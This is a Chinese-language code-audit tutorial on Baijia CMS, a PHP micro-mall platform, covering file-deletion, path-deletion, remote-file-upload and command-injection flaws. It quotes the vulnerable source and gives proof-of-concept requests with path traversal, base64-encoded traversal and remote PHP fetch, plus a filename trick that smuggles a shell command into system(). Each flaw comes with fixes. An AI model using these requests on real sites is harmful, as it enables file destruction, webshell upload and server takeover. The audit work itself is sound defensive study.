百家cms代码审计
字数 1103 2025-08-25 22:58:29
百家CMS代码审计与漏洞分析教学文档
一、百家CMS简介
百家CMS微商城是一款免费开源的多店铺多用户微商城PHP开发框架,创建于2014年6月,遵循Apache Licence2开源协议发布。
二、漏洞概述
1. 任意文件删除漏洞
- 影响版本:未明确
- 漏洞类型:文件操作漏洞
- 危害等级:高危
- 利用条件:无需后台权限
漏洞详情
漏洞位于/system/eshop/core/mobile/util/uploader.php文件中:
elseif ($operation == 'remove') {
$file = $_GPC['file'];
file_delete($file);
show_json(1)
}
利用方式
http://127.0.0.1/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../qwe.txt
防御建议
- 对
file参数进行严格过滤 - 限制删除操作的文件路径范围
2. 任意路径删除漏洞
- 影响版本:未明确
- 漏洞类型:目录操作漏洞
- 危害等级:高危
- 利用条件:需要后台权限
漏洞详情
漏洞位于/system/manager/class/web/database.php文件中:
if($operation=='delete') {
$d = base64_decode($_GP['id']);
$path = WEB_ROOT . '/config/data_backup/';
if(is_dir($path . $d)) {
rmdirs($path . $d);
message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
}
}
利用方式
http://127.0.0.1//index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==&beid=1
(其中Li4vLi4vdGVzdA==是../../test的base64编码)
防御建议
- 对解码后的路径进行合法性检查
- 限制删除操作只能在特定目录下进行
3. 远程文件上传漏洞
- 影响版本:未明确
- 漏洞类型:文件上传漏洞
- 危害等级:高危
- 利用条件:需要后台权限
漏洞详情
漏洞位于/system/public/class/web/file.php文件中:
if ($do == 'fetch') {
$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
if (is_error($file)) {
$result['message'] = $file['message'];
die(json_encode($result));
}
}
利用方式
http://127.0.0.1/index.php?mod=web&do=file&m=public&op=fetch&url=http://xx.xx.xx.xx/test/test.php
防御建议
- 限制可上传的文件类型
- 对远程文件内容进行检查
- 设置上传文件的白名单
4. 远程命令执行漏洞(RCE)
- 影响版本:未明确
- 漏洞类型:命令注入
- 危害等级:严重
- 利用条件:需要后台权限
漏洞详情
漏洞位于/system/weixin/class/web/setting.php文件中:
if(!empty($settings['image_compress_openscale'])) {
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0) {
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path)
}
利用方式
- 在后台设置中开启图片缩放功能
- 创建名为
&命令&.txt格式的文件 - 上传该文件触发命令执行
防御建议
- 使用escapeshellarg()或escapeshellcmd()函数过滤命令参数
- 避免直接使用用户输入作为系统命令的一部分
三、代码结构分析
addons/ 插件
api/ 接口
assets/ 静态文件
attachment/ 上传目录
cache/ 缓存目录
config/ 系统文件
include/ 系统文件
system/ 后端代码
四、安全建议
- 输入验证:对所有用户输入进行严格过滤和验证
- 权限控制:严格区分前后台权限,避免越权操作
- 文件操作:限制文件操作的范围和权限
- 命令执行:避免直接使用用户输入构建系统命令
- 日志审计:记录所有敏感操作日志
五、总结
百家CMS存在多个高危漏洞,包括任意文件删除、任意路径删除、远程文件上传和命令执行漏洞。这些漏洞大多源于对用户输入缺乏充分验证和过滤,以及不安全的系统命令调用方式。开发人员应重视安全编码实践,对所有用户输入进行严格过滤,并避免直接使用用户输入构建系统命令或文件路径。